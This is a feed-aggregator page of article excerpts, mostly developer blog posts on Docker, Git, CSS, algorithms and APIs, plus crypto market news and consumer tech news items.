    Dockerização de Aplicações para Iniciantes: Princípios e Vantagens
    Introdução Docker revolucionou a maneira como desenvolvemos, empacotamos e implantamos aplicações. Ele permite criar ambientes isolados (containers) que encapsulam tudo o que uma aplicação precisa para funcionar, garantindo consistência entre diferentes ambientes (desenvolvimento, teste, produção). Neste artigo, exploraremos os princípios básicos da dockerização e as vantagens de usar Docker e Docker Compose, especialmente para iniciantes. Containers vs. Máquinas Virtuais (VMs) Containers são leves, compartilham o kernel do sistema operacional e iniciam em segundos. VMs emulam um sistema operacional completo, consumindo mais recursos. Leia mais sobre a diferença. 2. Imagens e Containers Imagem: Um modelo imutável (como um .iso de sistema) que define o ambiente…  ( 4 min )
    Sundays Are My AI Recharge Day
    What makes working in AI so exciting yet challenging is this: You never know what breakthrough tomorrow will bring. Monday through Friday, I'm: 🔹 Testing newly released frameworks 🔹 Collaborating across time zones Saturday? Just an "extended Friday" - there's always teammates somewhere still pushing code. But Sunday is different. This is my recharge time: ✅ Building fun side projects with older tech ✅ Organizing what I learned this week ✅ Or simply stepping away from screens Because I've learned: 🌱 Consistent learning beats frantic catching-up 🌱 Deep thinking outweighs quick reacting 🌱 Proper rest doubles next week's productivity When Monday comes with its new tools and papers, I'll be ready - recharged and eager to explore.  ( 3 min )
    Empower Your Workflow with Aliases: Save Time by Being Lazy
    In software development, every keystroke counts. That’s where aliases come in—tiny shortcuts that let you run long or repetitive commands with minimal typing. The Git and shell aliases shared in your Gist are a powerful example of how developers can streamline their daily work. The Gist entitled “BASH/ZSH ALIASES FOR THE LAZY DEVELOPER” provides a curated set of aliases tailored to: Git workflows Docker Compose NPM commands General system productivity tools (Hacker News, DEV Community, Gist) Speed & Efficiency git status -s become simply s, or git push origin $(git rev‑parse --abbrev‑ref HEAD) becomes push. This cuts down typing and mental context switching. Consistency .bashrc, .zshrc, etc.). Error Reduction 📦 Highlighted Alias Categories 🔧 Git Workflow Ali…  ( 5 min )
    Update on How To Control storage access
    Controlling storage access means managing who can read, write, or manage data stored in your cloud environment (like Azure Blob Storage or File Shares). Step 1 from the Azure portal home page, in the search box, enter storage accounts. Select storage accounts under services. Role 2 Upload a file to the storage container ROLE 3 Change the access tier ROLE 4 Create a file share ROLE 5 Create a shared access signature token Role 6 Rotate access keys step 1  ( 4 min )
    A Real Performance Bug I Found and Fixed — Step by Step
    A few days ago, while working on a bug at work, I noticed something odd: after I fixed the bug, the default client name value in a dropdown component took almost 2 to 3 seconds to appear after the page loaded. That kind of lag is probably unacceptable to users, so I know I had to dig deeper. Turns out, it was a performance issue. We always hear advice like “don’t optimize prematurely” or “only solve performance problems when they exist.” Well, this was the first time I actually ran into one myself — and I think the debugging process is worth documenting. In this post, I’ll walk through how I tracked down the cause of the slowdown. I can’t share the actual code or logs because of company policy, but I’ll reconstruct the process using pseudocode and reasoning steps. If you’re a frontend deve…  ( 6 min )
    Title: Nurturing Compassion: A Journey from Self-Care to Altruism
    Title: Nurturing Compassion: A Journey from Self-Care to Altruism Introduction Compassion is a powerful emotional response that connects us to others. It is a genuine desire for their well-being and a willingness to alleviate suffering. Compassion is not just a fleeting emotion; it is a way of life that can transform our relationships, our communities, and even our world. At its core, compassion begins within us, through self-compassion. Self-compassion is far more than an indulgence; it's a powerful cornerstone for building personal resilience and extending authentic compassion to others, creating a foundation for a more compassionate and connected world. The Power of Self-Compassion Self-compassion is the practice of treating ourselves with kindness, understanding, and empathy, just as…  ( 5 min )
    Patreon Doesn’t Show Your Total Spending. So I Did.
    I like supporting small creators on Patreon. A few euros here, a few bucks there — no problem. But one day, I looked at my Memberships page and thought: “Wait… how much is this costing me per year?” Patreon doesn't tell you. they don’t want you to know. Go to https://patreon.com/settings/memberships and check how much you’re spending yearly on creator support. Go ahead, I’ll wait. ... Back? Was it easy? If you only support a couple of people, maybe. billing periods — it turns into a bit of a chore. Right? Since I want a clear view of all my subscriptions (and Patreon doesn’t offer it), I had to build it myself. id name follow code 1 Total cost of an Amazon wishlist article gist 2 Total time of a YouTube playlist article gist 3 Total cost of my Patreon memberships this one gist …  ( 4 min )
    AI's Bold Future in Cybersecurity Threats
    Does AI Hold the Key to Cybersecurity's Future? Here’s a wild stat to get us started: by the time you finish this paragraph, a new cyberattack has likely just launched somewhere in the world. Yep, that’s how fast and furious threats are coming at us these days. And honestly, it's starting to feel like traditional cybersecurity methods are playing an exhausting game of digital whack-a-mole—patching here, scanning there, reacting everywhere. But what if we flipped the narrative? Instead of reacting to threats after they happen, what if AI helped us stop them before they even had a chance to begin? Sound futuristic? It’s actually a future that’s already knocking on the door—and trust me, it’s worth opening. If you’re in IT or cybersecurity (and hey, I’ve been there), you know the drill: end…  ( 12 min )
    CSS Inheritance
    🔍 Understanding CSS Inheritance: What Gets Passed Down and What Doesn’t When writing CSS, understanding how inheritance works can help you write cleaner, more maintainable stylesheets. However, not all CSS properties behave the same way. Some are naturally inherited by child elements, while others are not—requiring you to re-declare them explicitly. In this post, I’ll guide you through: What CSS inheritance actually means Which properties are inherited by default Which ones aren't (but maybe you think they are!) A visual reference table to help you remember Some tricky exceptions and how to manage them In CSS, inheritance means that some properties applied to a parent element are automatically applied to its child elements—even if you didn’t explicitly declare them again. For example: b…  ( 5 min )
    Daily JavaScript Challenge #JS-236: Validate Parentheses Sequence
    Daily JavaScript Challenge: Validate Parentheses Sequence Hey fellow developers! 👋 Welcome to today's JavaScript coding challenge. Let's keep those programming skills sharp! Difficulty: Medium Topic: String Manipulation Create a function to validate a given string of parentheses is correctly nested. The function should return true if the parentheses are properly matched and nested, otherwise it should return false. The input string may contain only the characters '(', ')', '{', '}', '[' and ']'. https://www.dpcdev.com/ Fork this challenge Write your solution Test it against the provided test cases Share your approach in the comments below! Check out the documentation about this topic here: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide How did you approach this problem? Did you find any interesting edge cases? What was your biggest learning from this challenge? Let's learn together! Drop your thoughts and questions in the comments below. 👇 This is part of our Daily JavaScript Challenge series. Follow me for daily programming challenges and let's grow together! 🚀 javascript #programming #coding #dailycodingchallenge #webdev  ( 19 min )
  • Open

    When progress doesn’t feel like home: Why many are hesitant to join the AI migration
    What happens if the AI migration accelerates and sizable portions of the workforce are slow to move out of fear, resistance or inability?  ( 13 min )
  • Open

    Bitcoin nears $120K as analysis predicts 'larger price swings' next
    Bitcoin suddenly ups the volatility into Sunday's weekly close, with key liquidation zones on the radar and predictions of bigger BTC "price swings" to come.
    Tether Gold rides bullion boom as central banks, ETFs rush to accumulate
    As gold hits record highs amid economic uncertainty, Tether Gold (XAUt) sees continued growth, mirroring institutional and central bank demand for the metal.
    Crypto isn’t crashing the American dream; it’s renovating it
    The US housing regulator's decision to recognize crypto assets in mortgage applications marks a historic shift from exclusion to integration, opening new pathways to homeownership.
    GENIUS Act to spark wave of ‘killer apps’ and new payment services: Sygnum
    Sygnum’s Fabian Dori says the GENIUS Act brings the U.S. closer to global consensus on stablecoin regulation, paving the way for real-world use cases.
    Divine Research issues unbacked crypto loans using Sam Altman’s World ID
    Divine Research has issued 30,000 unbacked USDC loans using Sam Altman’s World ID to verify borrowers, targeting underserved users.
    Pudgy Penguins denies OpenSea acquisition rumors, focuses on partnerships
    Pudgy Penguins shut down rumors of an OpenSea buyout, calling the speculation unnecessary and pointing instead to growing brand partnerships.
    Bitcoin OGs ‘faith shaken’ comment stirs heated debate in community
    A crypto analyst disagreed with the statement, saying, “Everyone dies. At some point, investment returns become irrelevant.”
    Bitcoin ‘up year’ is 2026, and the four-year cycle is dead: Bitwise
    The Bitwise Invest executive admits he “could be wrong” but doesn’t see 2025 as the end of the upside for Bitcoin.
  • Open

    Michael Saylor Is Bringing Bitcoin-Backed Money-Market-Style Vehicle to Wall Street: NYDIG
    The offering doesn't give investors direct bitcoin exposure, but rather uses the asset's historical return profile to sustain high payouts.
    What’s Next for Hyperliquid’s HYPE Token? What Wall Street and Analysts Are Saying
    Wall Street’s crypto treasury spree is spreading to altcoins. With one firm recently backing HYPE, analysts diverge on its near-term upside.
    Bitcoin Cash Surges Past $580 as Analysts Predict Breakout Toward $620–$680 Range
    BCH jumped more than 5% Sunday to surpass $580, with analysts citing breakout patterns and calling for a possible push toward the $620–$680 range.
    $9 Billion Exit by Satoshi-Era BTC Whale Sparks Debate: Are Bitcoin OGs Losing Faith?
    Galaxy’s $9 billion BTC sale for a Satoshi-era investor prompted Scott Melker to suggest some early whales are losing faith, sparking intense debate on X.
  • Open

    Real-World ADAS Tests On Chinese Highways And Urban Roads
    While the electric vehicle (EV) sector is rapidly advancing with faster motors and quicker-charging batteries, vehicle safety still remains a critical concern. In light of this, the Chinese media outlet Dongchedi conducted an extensive ADAS (Advanced Driver Assistance Systems) test, evaluating 36 vehicles across 15 different scenarios. The test was posted on a YouTube channel […] The post Real-World ADAS Tests On Chinese Highways And Urban Roads appeared first on Lowyat.NET.  ( 34 min )
    TechTuber Cools US$11,700 AMD Threadripper Pro 9995WX With BMW M4 Radiator
    AMD’s Ryzen Threadripper 9000 series HEDT CPUs, codenamed Shimada Peak, are currently the chipmaker’s fastest processors on the market, with the 9995WX sitting pretty on the pedestal. The problem is, none of these components ship out with their own coolers, meaning TechTubers such as Geekerwan are left to their own maniacal devices. In his video, […] The post TechTuber Cools US$11,700 AMD Threadripper Pro 9995WX With BMW M4 Radiator appeared first on Lowyat.NET.  ( 34 min )
    Someone Patented This Controller Design
    Input devices for gaming are not exactly diverse, as the industry has settled with two primary choices – controller, or mouse and keyboard. But one patent was granted that describes a new combination that is very “out there”. So much to that two thoughts come to mind – “why has no one thought of this […] The post Someone Patented This Controller Design appeared first on Lowyat.NET.  ( 33 min )
    MOF Warns Public Against Scams Targeting RM100 SARA Cash Assistance
    The Ministry of Finance (MOF) has issued a public warning over fraudulent links and messages circulating online related to the upcoming one-off RM100 cash assistance under the Sumbangan Asas Rahmah (SARA) initiative. Deputy Finance Minister Lim Hui Ying clarified that no registration or application is required to receive the aid, which will be credited automatically […] The post MOF Warns Public Against Scams Targeting RM100 SARA Cash Assistance appeared first on Lowyat.NET.  ( 34 min )
    Samsung Galaxy Watches Now Work As Digital Keys For BYD Cars
    BYD has announced that it has integrated its vehicles with the Samsung Galaxy Watch, which allows users to use their smartwatches as NFC digital keys. The feature is only available for the latest models, which include the Galaxy Watch7, the base Galaxy Watch8 and its Classic variant, and the Galaxy Watch Ultra. Of course, to […] The post Samsung Galaxy Watches Now Work As Digital Keys For BYD Cars appeared first on Lowyat.NET.  ( 33 min )

  • Open

    Meet Cresca — The AI Email Agent That Designs Stunning Templates From Just One Prompt
    What Is Cresca? Whether you’re running a startup or scaling your DTC brand, Cresca is the fastest way to go from idea → inbox. ⚡️ Introducing the Cresca Email Agent Understands your brand and audience Generates high-converting HTML templates Refines designs with natural language Works with just a single sentence like: “Make a modern promotional email for a summer launch with 30% off.” No code. No dragging blocks. No fiddling with outdated builders. 🎨 Beautiful, Responsive Templates — Instantly Responsive by default Built with inline CSS for compatibility Styled using your brand colors, fonts, and vibe Editable via our live Preview + Edit panel Need to tweak the tone, layout, or CTA? Just type a request like: “Make it more playful and add a countdown timer.” And boom — it’s done. 🔁 Continuous Refinement Loop Refine your designs endlessly Save components and brand profiles Generate multiple versions for A/B testing Think of it like having a creative email strategist on demand. 💡 Why We Built Cresca Speed without compromise Brand-aligned output without paying an agency An AI that understands design and marketing That’s how Cresca was born — to empower modern teams with the fastest, smartest way to build marketing emails. 🚀 Try Cresca (Free Beta) https://cresca.xyz We're currently in public beta, and the feedback has been phenomenal. Join hundreds of early adopters who’ve made the switch from clunky tools to Cresca. 🔍 Why This Matters for Developers and Founders No need to integrate 3rd-party builders Export clean HTML for any ESP (Mailchimp, Brevo, etc.) Use AI to create, test, and launch — all in one place 💬 Final Thoughts 👉 Try Cresca Now → @crescadotxyz yz for updates.  ( 4 min )
    [Boost]
    Why I Built [@fuck.it] - The Email Service for the Rest of Us The G Man ・ Jul 26 #webdev #privacy #webmail #productivity  ( 2 min )
    Two Pointers Explained
    TL;DR: Two pointers is a powerful pattern for solving problems in sorted arrays. It’s faster than brute force and unlocks elegant solutions for many common interview questions. If you’ve ever seen a Leetcode solution that says “use two pointers” and thought: “Yeah sure... but why does that work?” You’re not alone. Two pointer problems look simple — but they feel like magic when you're new. So let’s break it down the way I wish someone had explained it to me: like we're pair programming side by side. Two pointers is a pattern where you use two indices (or “pointers”) to traverse an array — either from both ends or from the same direction — to solve a problem more efficiently than brute force. It’s mostly used when: The array is sorted You’re looking for relationships between elements (like…  ( 5 min )
    Maxwell Strategy Group
    Maxwell Strategy Group was founded to deliver the same high-quality consulting services offered by large firms, at a fraction of the cost. Our unique structure allows us to access a network of experts across various fields, bringing in the right talent for each project.  ( 3 min )
    📈 Deploy frequency improvement after switching to workflow o
    Before: Constant context switching The difference is incredible! #developer #tools 🕐 07:42 PM  ( 3 min )
    IoT Network Security: Principles, Challenges, and Protection Strategies
    The explosive growth of Internet-connected devices has created significant cybersecurity challenges for organizations. While IoT devices make our lives more convenient, they also introduce new vulnerabilities that attackers can exploit. Recent incidents like the Matrix botnet demonstrate how IoT devices can be weaponized for distributed denial of service (DDoS) attacks. Effective IoT network security requires organizations to understand and address unique device limitations, implement proper access controls, and deploy network segmentation strategies. This comprehensive guide examines the key security concepts, common attack vectors, and essential protection measures needed to secure IoT deployments in modern networks. Minimal processing power, memory, and storage Inability to support trad…  ( 4 min )
    💎 Hidden Claude Code feature 90% of devs miss:
    Multi-file context awareness How to use it: Paste errors + ask for root cause 🕐 06:36 PM  ( 3 min )
    UI Improvements Pt. 1
    Background This is my first blog post regarding the King Street Emporium Project, so some context is needed. For my college capstone project, I designed and developed a cigar catalog for a cigar lounge, The King Street Emporium. The site is still great backend-wise. However, it was my first design project, and it is in dire need of improvement as I've learned a lot since then. I've already made the following improvements, but I'm only about halfway done. See the Case Study! Before After Before After Before After Before After Before After Before After Before After  ( 3 min )
    💎 Hidden Claude Code feature 95% of devs miss:
    Custom instructions for your stack How to use it: Reference multiple files in one prompt 🕐 06:31 PM  ( 3 min )
    🧑‍⚕️CareSetu AI: Instant Appointments, Intelligent Health Advice, and 24/7 Support Through Voice
    This is a submission for the AssemblyAI Voice Agents Challenge for Business Automation Voice Agent and Domain Expert Voice Agent 📝 What I Built software engineer at the healthcare startup CareSetu and a 3rd-year B.Tech student in Mathematics and Computing at institute of national importance, I've seen firsthand how technology can solve critical real-world problems. This voice-based web app allows users to schedule medical appointments, get answers to health questions like 'What precautions should I take for diabetes?', and manage their healthcare needs seamlessly. It’s designed to feel like you're having a conversation with a trusted health assistant, making healthcare more accessible for everyone. business perspective, this directly impacts CareSetu by automating front-desk tasks, reduci…  ( 5 min )
    🛠️ Essential tool every developer needs:
    Dual monitor setup - Reduces context switching Why: Keep docs/code visible simultaneously What tools do you swear by? #devtools #coding 🕐 06:26 PM  ( 3 min )
    CSS Art: My Home Office Setup
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. This CSS art piece represents my actual (or somewhat :3) home office setup! Since I haven't worked in a traditional office culture yet, I decided to recreate my personal workspace - the place where I code, learn, and build projects. The interactive door concept came from the idea that behind every developer's door is their personal sanctuary, their command center where magic happens. Live Demo Click the door knob to enter my home office Realistic setup: Gaming chair, dual monitor configuration (portrait + landscape), laptop on cooling stand, speakers, and my beloved lavender plant Personal touch: Everything positioned exactly like my real workspace Interactive experience: Smooth door …  ( 4 min )
    🔥 Claude Code pattern that saves evening daily:
    "Show me the cleanest solution" Result: Refactored 500 lines to 50 🕐 06:20 PM  ( 3 min )
    Provide Storage for the Public Website
    Introduction The public website is a key asset for any company. It is where the company displays product images, promotional videos, marketing copy, customer success stories, and many more. In Azure, these types of unstructured non-relational data are referred to as blob (binary large objects). Company growth will probably translate to more site visits. Therefore, it is essential that the website content remains highly available, loads quickly, and supports features like version control and easy recovery. In this guided exercise from Microsoft, we will create and configure an Azure Storage account specifically for hosting this public content. We will make it high available, and the contents open for public read access. We will set up a blob container, practice uploading and testing fi…  ( 5 min )
    a platform for creating sales voice agents for businesses
    This is a submission for the AssemblyAI Voice Agents Challenge i built a platform that lets businesses create AI sales reps (voice agents) that can hold near-real-time conversations, pitch products/services, collect customer information, and answer relevant questions the voice agent can be embedded into a website as a widget and users can trigger a conversation via a floating action button each agent is provided with domain-specific knowledge tailored to the business, ensuring that responses stay accurate. these agents aren’t just chatbots, instead, they act as an extension of the business, using preconfigured behavior, and product/service expertise defined by the business the app shows usage analytics as well as summarized conversations with extracted information like lead quality, custom…  ( 4 min )
    OBINexus: When Systems Fail You, Build Your Own
    The Day I Realized I Was Alone change.org/obinexus_reform 9/12 was the day everything became clear. No case worker. No updates. No timeline. Just bureaucratic silence stretching into weeks while I sat in supported accommodation, supposedly being "helped" by people who had simply... forgotten I existed. I wasn't just failed by the system. I was systematically abandoned by it. But here's the thing about being a developer with autism and ADHD who's been systematically failed: you start thinking in patterns. You start seeing systems where others see isolated incidents. And when you've been pushed to the edge by institutional neglect, you start building solutions that others desperately need but don't know how to create. Why Technical Solutions for Human Problems Most people think you can't…  ( 4 min )
    Two Approaches to Context Engineering: Manus vs Context Space
    The emergence of context engineering as a critical discipline in AI development has sparked innovation across the industry. Recently, the team at Manus AI shared their hard-earned lessons from building production-grade AI agents, offering valuable insights into the practical challenges of context management. Reading their post felt like looking in a mirror—and yet seeing a completely different reflection. Both Manus and Context Space are deeply invested in solving the context engineering puzzle, but we're approaching it from fundamentally different angles. This presents a fascinating case study in how the same core problem can spawn complementary solutions. Manus has taken a performance-first approach to context engineering, focusing on how to make the most efficient use of context within …  ( 6 min )
    🛡️ How I Stopped Malicious Bots and Sped Up My Sites with One Tool (CloudFilt Review)
    If you're managing a modern web app or CMS, you've probably dealt with: 💥 Spam form submissions 🔓 Brute-force login attempts 🕷️ Web scraping 🐌 Slowdowns from overloaded WAF or security plugins Same here. I was juggling Cloudflare, WordFence, and server-level firewall tweaks — until I discovered a unified solution: CloudFilt CDN + WAF. [CloudFilt](Insert your affiliate link here) combines a Content Delivery Network (CDN) and AI-powered Web Application Firewall (WAF) to: Block bots and scrapers in real-time Deliver content faster via edge caching Monitor threats with detailed logs and alerts It sits at the DNS level, which means it filters traffic before it hits your server — saving CPU/memory and speeding up the backend. 🔐 AI-based bot detection: It doesn’t just rely on IP or user-agen…  ( 4 min )
    Claude Code Debugging Magic
    Claude Code debugging tip: Paste your error and ask "explain this error and show me the fix". Just fixed a race condition I'd been hunting for days in 2 minutes! Have you tried this Claude Code feature? It's been a game-changer for my debugging workflow! What debugging tricks do you use with AI coding assistants? claudecode #debugging #productivity #ai  ( 3 min )
    REST vs gRPC – When to Use What
    Most of us start building APIs with REST. It’s easy, works well in browsers and is simple to test using tools like postman or curl. you send some JSON, get a response that’s it. But recently I came across gRPC. At first, it seemed complicated. but once I understood the basics, it started to make sense. This post is just a quick summary of what I learned not a deep dive, just something simple to help others get started. First, What is RPC? before understanding gRPC, let’s look at RPC (Remote Procedure Call). RPC is when one program calls a function that runs on another machine, like it’s calling a local function. You don’t worry about the network or HTTP stuff just call a method, pass some data, and get back a result. It’s like saying: “Run this function somewhere else and send me the res…  ( 4 min )
    Claude Code Debugging Magic
    Claude Code debugging tip: Paste your error and ask "explain this error and show me the fix". Just fixed a race condition I'd been hunting for days in 2 minutes! Have you tried this Claude Code feature? It's been a game-changer for my debugging workflow! What debugging tricks do you use with AI coding assistants? claudecode #debugging #productivity #ai  ( 3 min )
    📈 Code quality improvement after switching to keyboard short
    Before: Many production issues The difference is incredible! #developer #tools 🕐 05:24 PM  ( 3 min )
    NestJS OAuth2 Starter: Google, GitHub, JWT, Redis, PostgreSQL – Ready for Production
    Are you tired of rebuilding the same authentication flow every time you start a NestJS project? I’ve created a robust NestJS starter template that includes everything you need to launch a secure, scalable application – with OAuth2 (Google & GitHub), JWT session management, Redis cache, PostgreSQL, environment validation, and full testing setup. Ideal for production-ready apps, prototypes, and team onboarding. 👉 GitHub Repo: https://github.com/JimmyCamus/nest-oauth2-template 🧱 Modular NestJS 11+ structure 🔐 OAuth2 via Google & GitHub 🔑 JWT-based auth 🚀 Redis for caching and session management 🐘 PostgreSQL with TypeORM 📦 Centralized & validated config 📊 Logging with nestjs-pino 🧪 Full unit & e2e tests 📡 Health check endpoint GET /auth/google → Redirects to Google login GET /auth/google/redirect → Handles Google callback GET /auth/github → Redirects to GitHub login GET /auth/github/redirect → Handles GitHub callback GET /auth/profile → Returns the logged-in user's profile (requires JWT) GET /health → Health check with app uptime and status All environment variables are validated at startup. Includes config for: Google & GitHub OAuth JWT secrets PostgreSQL connection Redis host/password Just copy .env.example and replace with your own values. This is more than a simple starter — it's designed for real-world applications, with: OAuth2 auth fully configured with Passport strategies Token-based sessions via JWT Redis cache integration Validated and centralized environment configs Structured logs using nestjs-pino End-to-end and unit testing support Clean, extensible modular architecture Perfect for projects where you want to skip the boilerplate and focus on building. If you find it useful, give it a ⭐ and feel free to open an issue or PR with feedback or improvements!  ( 3 min )
    💡 2x productivity boost using task automation:
    Learn one shortcut daily Practice until natural Share with team Game-changer for founders! #productivity #tools 🕐 05:15 PM  ( 3 min )
    Equilibrio y uso del tiempo
    Creo que una de las cosas más difíciles en la vida es mantener un equilibrio en todas sus áreas: dedicar tiempo para uno mismo, para el trabajo, la familia, la espiritualidad, la pareja, entre otras. Con el paso de los años, estas áreas se vuelven más complejas y demandantes. Es maravilloso disfrutar la juventud, cuando muchas de estas preocupaciones aún no existen. Sin embargo, resulta difícil entender cómo muchas personas desperdician esa etapa. Es lamentable ver cómo algunos incluso se dañan a sí mismos o cargan su vida con problemas que luego son muy difíciles de resolver. En el distrito donde vivo, muchos jóvenes mueren a causa de estas decisiones: pierden el tiempo en amistades que no aportan nada, descuidan a su familia, abandonan sus estudios, y se entregan al consumo excesivo de r…  ( 4 min )
    10 VSCode extensions I can't work without
    Hello everyone, today I would like to share with you my list extensions for VSCode. This list is based on my routine tasks, which I have spent many man-hours working on, and which will help you save your nerves, make your development experience more comfortable, and save you precious time. It will help you preview .MD documents, especially when working with readme.md files for a project. A minimalistic extension for autocomplete paths and file names Keeps your code clean and bug-free by enforcing style and catching errors early. Live Share allows you to collaborate with other users to edit and debug code in real time, which is much better than screen sharing. dev, prod, docker volume, you want to see where you are. Adds a cute little bongo cat to the status bar. Essentially useless, but I like it ;)  ( 3 min )
    Host Multiple Docker Apps on One Compute Resource — No Extra Fees
    Tired of paying per app just to host your projects? Yeah, we were too. Platforms like Heroku, Render, or Fly.io bill you for every single app. A staging environment? That's extra. A background worker? Extra. Before you know it, your monthly bill looks like a multi-cloud enterprise invoice. At Miget.com, you pay once for a compute resource, then run as many Docker apps on it as you like. isn't a VPS. This is Cloud Native Computing — built on Kubernetes, fully managed, with autoscaling and networking out of the box. Getting started on Miget costs you nothing. Every account comes with a free tier: 0.1 CPU and 256 Mi RAM — perfect for side projects, staging apps, or just trying things out. No credit card required. No time limits. No nonsense. And when your app outgrows that free tier? 👉 Simp…  ( 5 min )
    Supercharging Code Reviews with AI for Strategic Impact
    Manual code reviews, though vital for quality and security, often become a bottleneck—slowing delivery and hiding critical issues. In my work as a cloud engineer and solution architect, I’ve seen how drawn-out PR processes create gaps that lead to rework, delays, and compliance risks. Organizations must balance strict governance with fast innovation, but manual reviews alone struggle to keep pace, escalating technical debt and regulatory exposure. Enter AI-driven code review—an intelligent, adaptable solution that automates policy checks, enforces standards, and surfaces insights instantly in every pull request. By integrating Azure OpenAI into your CI/CD pipeline, you can automate repetitive checks, enforce custom rules at scale, and empower your teams to focus on strategic design and inn…  ( 5 min )
    JSON Schema in Haskell using AutoDoCodec
    In April 2022 I made a review of Haskell libraries for JSON Schema. The outcome of my research was that there weren't really any good libraries for dealing with JSON Schema from within Haskell. That was a surprising disappointment, because Haskell often has very good libraries (although they may be hard to use). The reason is that the JSON Schema specification itself isn't very well-made. I eventually gave up using any of them. Today Albert Krewinkel wrote me and told me that you can actually use AutoDoCodec to both generate and validate JSON schemas. The Haskell package autodocodec was announced in Haskell Weekly #291 in November 2021 by Tom Syd Kerckhove. I knew this library, but had never made the connection that it'd serve all my JSON schema needs. Since my original blog post felt like…  ( 6 min )
    Here comes the troll (My AI Song)
    Summary on this piece Melody: 😀 Human-made Lyrics: 😀 Human-made Music production: 🤖 AI-made (Suno) Cover art: 🤖 AI-made (OpenAI) Style prompt Laid-back reggae groove with syncopated rhythm guitar, deep rolling bass, and crisp, steady drums anchors the song. Warm organ stabs, nuanced percussion, and upbeat horn accents create dynamic layers. There's a bit of reggae in the air! That's right, I inserted some reggae in the prompt. Initially I tried ballad, or other generic stuff. But reggae totally nailed it! Especially given those weird "noise" lyrics. The AI used it both in the beginning and at the end. Fun fact: The noise lyrics NEVER MATCHED the part of the melody I envisioned, yet it turned out great! This is one of my favorite resulting songs... Hum... I shouldn't say too much, perhaps I lowered expectation for the rest of the series. No, the rest of the series is great! 📅 Please come back next week!  ( 4 min )
    How We Built Zero-Knowledge Encryption in the Browser (So We Can't Read Your Notes)
    Most note-taking apps claim to be "encrypted" but still have a dirty secret: they can read all your data. When we built Typelets, we decided to do things differently - using true zero-knowledge encryption where even we can't decrypt your notes. Here's exactly how we did it using just the Web Crypto API. When apps like Notion say they're encrypted, they usually mean: ✅ HTTPS encryption in transit ✅ Database encryption at rest ❌ They still hold the keys to decrypt everything We wanted to build a notes app where privacy wasn't just a marketing claim - it was mathematically guaranteed. That's why we created Typelets with zero-knowledge architecture. In Typelets, here's what happens when you create a note: 🔐 Data encrypted on your device before transmission 🔑 Encryption keys never leave yo…  ( 5 min )
    Late Night Work #20
    Servus and welcome to Day 20 of building my CRM — and today was a long one. Most of my day was packed with other responsibilities, but I still carved out time to keep the momentum going. Right now, I’m deep in building out the Settings module — the place where users will: Update account info Configure preferences Manage team settings (eventually) Even though it’s not the flashiest part of the app, settings are crucial for user control and experience. Still tweaking layout, structure, and deciding what to include — if you have ideas for what must be in a great settings page, I’d love to hear them! Thanks for reading — time to call it a night 🌙 See you tomorrow. Jonathan (0xj0n1)  ( 3 min )
    Git Guide to Delete Old Commits and Clear Sensitive Info from Git History
    How To: Delete Old Git Commits and Clear Sensitive Files from History Everyone works with GenAI apps (like ChatGPT, Gemini and Claude) and often forgets to delete the secret while pushing the code to Git/GitHub/BitBucket etc. Accidentally committing sensitive information (like passwords, API keys, or certificates) to a Git repository is a common mistake. Removing these sensitive files from your repository's history is critical to protect your project and users. This guide provides step-by-step instructions for three common approaches to erase old commits and clear unwanted files, with a recommendation for the most robust solution. GitHub has added the feature by NOT allowing the files to get pushed - but the user also has an option to force push with secret - which poses the security th…  ( 5 min )
    the easiest dark mode for beginners
    hi devs i made a small opensource project for beginners who want to make fast,easy dark mode in their website with local storage without external frameworks attributes: dark-btn => for the toogle dark mode switch d+color =>when dark set the bg-color to this color l+color =>light mode bg-color dt+color text in dark mode tl+color text in light mode supported colors: this dark mode will be in v2 of my framework butterfly css  ( 3 min )
    I Accidentally Discovered a Hidden Gem for Testing Premium AI Models (Completely Free!)
    Originally posted as a LinkedIn discovery that I just had to share with the dev community. The Discovery That Made Me Break My "No Social Media Posts" Rule I'll be honest,I don't usually write LinkedIn posts or blogs. But sometimes you stumble across something so useful that you feel obligated to share it with fellow developers and AI enthusiasts. LMArena (lmarena.ai), and it completely changed how I approach AI model testing and comparison. What Exactly Is LMArena? You submit a prompt Two AI models respond (you don't know which models they are) You vote for the better response The results feed into a public leaderboard based on real user preferences But here's the kicker,while you're participating in this research, you get free access to premium AI models that normally cost serious mone…  ( 5 min )
    Paper Notes - From Mind to Machine: The Rise of Manus AI as a Fully Autonomous Digital Agent
    Manus AI Research Paper Summary 1. Paper Metadata Authors: Minjie Shen¹ and Qikai Yang² Publication Venue: arXiv Year of Publication: May 2025 DOI/URL: arXiv:2505.02024v1 Review of an important player in the Agentic AI systems landscape: Manus AI The importance of a comprehensive overview and examination of Manus AI Examine the architecture Explore applications in the industry Compare with other technologies: OpenAI, Google, DeepMind, and Anthropic; to highlight where Manus stands out Discuss limitations and future improvements Given the impact of this new agentic solution, it's super important to have deep dive efforts like this to evaluate (from an outsider perspective) the internals and expand discussions. Multi-agent architecture with three complementary agents: Planner…  ( 5 min )
    Designing a Ride Hailing Service System (e.g., Uber/Lyft): A Beginner-Friendly Guide
    🚖 What Is a Ride Hailing System? A ride hailing service (like Uber or Lyft) is a platform that connects passengers with drivers through an app or website. Instead of waving for a cab on the street, you can request a ride with a few taps on your phone. Behind the scenes, this simple experience is powered by a complex distributed system involving real-time location tracking, matching algorithms, payments, notifications, and much more. Goal of This Article To explain, in simple terms, how to design the core components of a ride hailing service, focusing on the most important of system design concepts that make up the real-world solution. Core Components of the System Let's start with a high-level overview of the major pieces involved in such a system: User App (Passenger) Driver App Ba…  ( 6 min )
    Understanding O(n) vs O(1) Space Complexity in Programming
    When developing, you may have heard terms like linear space O(n) and constant space O(1), or seen them completing coding challenges; but what do they actually mean? These terms describe the space requirements of an algorithm and how those requirements grow as the input size increases. They're part of what's known as Big O notation, a mathematical way to describe algorithmic efficiency — both in terms of time and space. This post focuses on space complexity. Space complexity refers to the amount of memory an algorithm needs to run, including: Input space: Memory used to store the input itself. Auxiliary space: Extra memory used during processing (e.g., temporary variables, stacks, arrays, etc.). In Big O notation, we usually refer to the auxiliary space, since input space is often cons…  ( 5 min )
    7 Tips That Actually Helped Me Get Better at Programming (Stuff No One Taught Me)
